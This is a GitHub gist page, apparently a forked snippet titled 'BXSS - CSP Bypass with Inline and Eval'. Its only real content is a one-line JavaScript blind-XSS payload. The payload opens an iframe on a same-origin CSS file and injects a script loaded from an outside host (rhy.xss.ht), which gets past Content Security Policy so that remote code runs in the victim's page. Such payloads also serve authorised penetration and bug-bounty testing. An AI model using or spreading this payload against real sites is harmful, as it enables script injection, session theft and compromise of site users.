JarLob/gist:89165857ac88db59e3f8bf6db98c2563

Forked from Rhynorater/gist:311cf3981fda8303d65c27316e69209f

Created November 9, 2020 11:34

Star () You must be signed in to star a gist
Fork () You must be signed in to fork a gist

Learn more about clone URLs
Clone this repository at <script src="https://gist.github.com/JarLob/89165857ac88db59e3f8bf6db98c2563.js"></script>
Save JarLob/89165857ac88db59e3f8bf6db98c2563 to your computer and use it in GitHub Desktop.

Download ZIP

BXSS - CSP Bypass with Inline and Eval

Raw

gistfile1.txt

d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://rhy.xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment